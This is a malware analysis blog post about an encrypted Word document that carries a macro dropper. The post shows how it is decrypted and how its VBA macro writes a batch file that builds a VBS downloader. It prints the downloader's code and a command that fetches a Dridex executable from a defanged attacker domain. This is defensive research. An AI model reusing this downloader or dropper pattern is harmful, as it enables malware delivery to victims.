Quick Analysis of an Encrypted Compound Document Format
We like when our readers share interesting samples! Even if we have our own sources to hunt for malicious content, it’s always interesting to get fresh meat from third parties. Robert shared an interesting Microsoft Word document that I quickly analysed. Thanks to him!
The document was delivered via an email that also contained the password to decrypt the file:
I tried to open the document in my sandbox but the decrypted content was quickly spotted by my antivirus and removed, making the document not available:
You can always try to disable temporary the AV but it's not fun. Let's boot a Remnux environment and check the file. The attachment was indee not detected as a classic Word document:
remnux@remnux:/mnt/malwarezoo$ file nv_921249.doc nv_921249.doc: CDFV2 Encrypted
The file is not a classic Word document, it’s a CDFv2 or “Compound Document Format” but also encrypted as reported by the file command above. Those files are not new, I already analysed such kind of documents in the past[1]. The fact that the document is encrypted makes it very diffcult for AV's to detect if it's malicious or not. It’s current VT score remains excellent (from the attacker’s point of view): 1/60[2].
Let's try to decrypt it via another tool. There exists a wonderful Python library[3] to decode all kind of Office documents. To use such libraries, I like to use a temporary Docker container so not polute my system with many dependencies. I've a simple Ubuntu container that I prepared with a basic Python environment. Let's install the msoffcrypto-tool and try to decrypt the document:
root@remnux:/mnt/malwarezoo# docker run -it ubuntu bash root@bcc13616b8c8:/# pip install msoffcrypto-tool
From another shell, transfer the file to the Docker:
root@remnux:/mnt/malwarezoo# docker cp nv_921249.doc bcc13616b8c8:/
And back in the container:
root@bcc13616b8c8:/# msoffcrypto-tool nv_921249.doc nv_921249_decrypted.doc -p 159 root@bcc13616b8c8:/# root@bcc13616b8c8:/tmp# ls -l nv* -rwxr-xr-x 1 501 dialout 574808 Feb 19 14:08 nv_921249.doc -rw-r--r-- 1 root root 562507 Feb 20 13:59 nv_921249_decrypted.doc root@bcc13616b8c8:/# file nv_921249_decrypted.doc nv_921249_decrypted.doc: Microsoft Word 2007+
We now have a regular document that can be analyzed "as usual":
root@remnux:/mnt/malwarezoo# docker cp bcc13616b8c8:/nv_921249_decoded.doc . root@remnux:/mnt/malwarezoo# unzip -d nv_921249_decoded nv_921249_decoded.doc
Let's check, if we have some interesting macros. In newest Office documents, they remain stored in a CDF file called 'vbaProject.bin':
root@remnux:/mnt/malwarezoo# cd nv_921249_decoded/word root@remnux:/mnt/malwarezoo# file vbaProject.bin vbaProject.bin: Composite Document File V2 Document, No summary info root@remnux:/mnt/malwarezoo# oledump.py vbaProject.bin 1: 97 'BadColorSample/\x01CompObj' 2: 329 'BadColorSample/\x03VBFrame' 3: 151 'BadColorSample/f' 4: 2356 'BadColorSample/o' 5: 97 'EleganteSample/\x01CompObj' 6: 316 'EleganteSample/\x03VBFrame' 7: 34591 'EleganteSample/f' 8: 400 'EleganteSample/o' 9: 771 'PROJECT' 10: 176 'PROJECTwm' 11: m 1165 'VBA/BadColorSample' 12: M 7575 'VBA/EleganteSample' 13: m 924 'VBA/ThisDocument' 14: 5762 'VBA/_VBA_PROJECT' 15: 2552 'VBA/__SRP_0' 16: 339 'VBA/__SRP_1' 17: 458 'VBA/__SRP_2' 18: 1859 'VBA/__SRP_3' 19: 941 'VBA/dir' 20: M 870522 'VBA/modNormalTheme'
Cool, we have some macros to analyze! Based on the size, the secion 20 looks the most interesting:
root@remnux:/mnt/malwarezoo# oledump.py -s 20 -v vbaProject.bin >vbaProject.bin-20
The macro contains a lot of unused code at the beginning until we reach the classic 'AutoOpen' function:
Payloads are dropped in a specific directory:
Set scr1 = CreateObject("Scripting.FileSystemObject") If scr1.FolderExists("c:\Colorfonts32") = False Then scr1.CreateFolder "c:\Colorfonts32" End If
Multiple files are created in this directory. Some containing junk code:
Set linewhriter = scr1.CreateTextFile("c:\Colorfonts32\2DDCDCBC3D62F9.cmd", True) linewhriter.WriteLine ("99462556693925187374479185006232677344442182363787912879059866462141085002") linewhriter.WriteLine ("55193945093569259318833897584021319387054888349538451996930927254008940910") linewhriter.WriteLine ("65158075754325850730344090470708418318689590711630808439687893685229400899") linewhriter.WriteLine ("70374515370843822395077913383446096176205693647316180126935077878604491350") linewhriter.WriteLine ("19850529598570541870433214645389375169037974261225923174022893498644778903") linewhriter.WriteLine ("65047304519896520253148596266787469504662148125518242468515994150853187638") linewhriter.WriteLine ("19515941319404513296982082066159672704065884262885856266628325608271989234") linewhriter.WriteLine ("16592858169590981777259733949634617698755847096812709380502570987251900031") linewhriter.WriteLine ("46613280575903496171677449072348557094855583556549946842837953429688455690") linewhriter.WriteLine ("91721447158341697691063262617495097092397833918311631623507444101931871761") linewhriter.WriteLine ("82629881111912322869508867315788399472931869696159340413174984131527151467") linewhriter.Close
The most interesting created file is a batch script that generated a .vbs file
(Note, the code has been beaufified)
@echo off set Robocar=C:\Colorfonts32\visitcard.vbs break>%Robocar% echo 'The Amazon Echo Studio promises not only to be the best-sounding Echo speaker yet but a smart speaker truly fit for audiophiles. >> %Robocar% echo 'Not just boasting upgraded internals >> %Robocar% echo 'Title: Ascii-Editor (new) >> %Robocar% echo 'Description: I've changed a little bit! - Try it and vote for me! >> %Robocar% echo 'The author may have retained certain copyrights to this code...please observe their request and the law by reviewing all copyright conditions >> %Robocar% echo Dim args, http, fileSystem, adoStream, url, target, status >> %Robocar% echo. >> %Robocar% echo Set args = Wscript.Arguments >> %Robocar% echo Set http = CreateObject("MICROsOFT.xmlHttP") >> %Robocar% echo "Our colleagues at Techradar were pleasantly surprised" echo "Wenn du in der App ein Reiseziel vermisst, könnte das daran liegen, dass du die Aktualisierung" echo url = args(0) >> %Robocar% echo target = args(1) >> %Robocar% echo 'MARCO POLO Touren-App installiert >> %Robocar% echo. >> %Robocar% echo http.Open "GET", url, False >> %Robocar% echo http.Send >> %Robocar% echo status = http.Status >> %Robocar% echo. >> %Robocar% wait 10 echo If status ^<^> 200 Then >> %Robocar% echo WScript.Quit 1 >> %Robocar% echo End If >> %Robocar% echo. >> %Robocar% echo "We were unable to find that page." echo "Collectible Card Game" echo "Daten zu den übrigen Reisezielen vom MARCO POLO Server heruntergeladen." echo "Reiseziel auswählen und nun die gewünschten Touren mit Tourenverlauf und Offline-Karten herunterladen." echo Set adoStream = CreateObject("ADODB.Stream") >> %Robocar% echo adoStream.Open >> %Robocar% echo adoStream.Type = 1 >> %Robocar% echo adoStream.Write http.ResponseBody >> %Robocar% echo adoStream.Position = 0 >> %Robocar% echo. >> %Robocar% echo "Find Complete Details about Pokemon" echo Set fileSystem = CreateObject("Scripting.FileSystemObject") >> %Robocar% echo If fileSystem.FileExists(target) Then fileSystem.DeleteFile target >> %Robocar% echo adoStream.SaveToFile target >> %Robocar% echo adoStream.Close >> %Robocar% echo "App dich nach einiger Zeit noch einmal. Wenn du nicht bis dahin warten möchtest, deinstalliere die"
Here is the .vbs file content (also beautified and junk comments removed):
Dim args, http, fileSystem, adoStream, url, target, status Set args = Wscript.Arguments Set http = CreateObject("MICROsOFT.xmlHttP") url = args(0) target = args(1) http.Open "GET", url, False http.Send status = http.Status If status <> 200 Then WScript.Quit 1 End If Set adoStream = CreateObject("ADODB.Stream") adoStream.Open adoStream.Type = 1 adoStream.Write http.ResponseBody adoStream.Position = 0 Set fileSystem = CreateObject("Scripting.FileSystemObject") If fileSystem.FileExists(target) Then fileSystem.DeleteFile target adoStream.SaveToFile target adoStream.Close
This script is just a downloader that grabs a PE file and dump it on the disk:
wscript //nologo c:\Colorfonts32\visitcard.vbs hxxp://mineminecraft[.]xyz/yifumejyzhasamydfglb/onbtn.bin c:\Colorfonts32\secpi15.exe
The domain mineminecraft[.]xyz did not resolve in my case but, fortunately, the URL was already scanned by VT a few hours before and I was able to grab the PE file (VT score 26/69)[4]. It's a classic Dridex sample.
As you can see, the encrypted CDF file is a nice way to bypass antivirus engines running at MTA level.
[1] https://isc.sans.edu/forums/diary/Another+Malicious+Document+Another+Way+to+Deliver+Malicious+Code/20809/
[2] https://www.virustotal.com/gui/file/d871c6ab1a7aaaf5ed0826fe2564ec813ad582ee27a1f34af53203895893fbf6/details?
[3] https://github.com/nolze/msoffcrypto-tool
[4] https://www.virustotal.com/gui/file/937dfa06dcb63d4e7ebb02f18d2d74aa61ebde3fcbea38c2da50711a33601db1/detection
Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 28th - Nov 1st 2024 |
Comments